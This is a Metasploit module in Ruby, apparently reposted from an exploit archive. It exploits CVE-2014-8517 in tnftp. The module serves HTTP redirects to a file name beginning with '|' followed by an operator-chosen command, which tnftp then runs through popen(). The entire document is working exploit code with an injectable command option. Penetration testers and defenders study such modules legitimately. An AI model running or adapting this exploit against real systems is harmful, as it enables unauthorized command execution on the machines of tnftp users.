## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'tnftp "savefile" Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in tnftp's handling of the resolved output filename - called "savefile" in the source - from a requested resource. If tnftp is executed without the -o command-line option, it will resolve the output filename from the last component of the requested resource. If the output filename begins with a "|" character, tnftp will pass the fetched resource's output to the command directly following the "|" character through the use of the popen() function. }, 'Author' => [ 'Jared McNeill', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2014-8517'], ['URL', 'http://seclists.org/oss-sec/2014/q4/459'] ], 'DisclosureDate' => 'Oct 28 2014', 'License' => MSF_LICENSE, 'Actions' => [ ['Service'] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service' )) register_options([ OptString.new('CMD', [true, 'Command to run', 'uname -a']) ]) end def run exploit end def on_request_uri(cli, request) unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/ print_status("#{request['User-Agent']} connected") send_not_found(cli) return end if request.uri.ends_with?(sploit) send_response(cli, '') print_good("Executing `#{datastore['CMD']}'!") report_vuln( :host => cli.peerhost, :name => self.name, :refs => self.references, :info => request['User-Agent'] ) else print_status("#{request['User-Agent']} connected") print_status('Redirecting to exploit...') send_redirect(cli, sploit_uri) end end def sploit_uri (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") + Rex::Text.uri_encode(sploit, 'hex-all') end def sploit "|#{datastore['CMD']}" end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-11-10]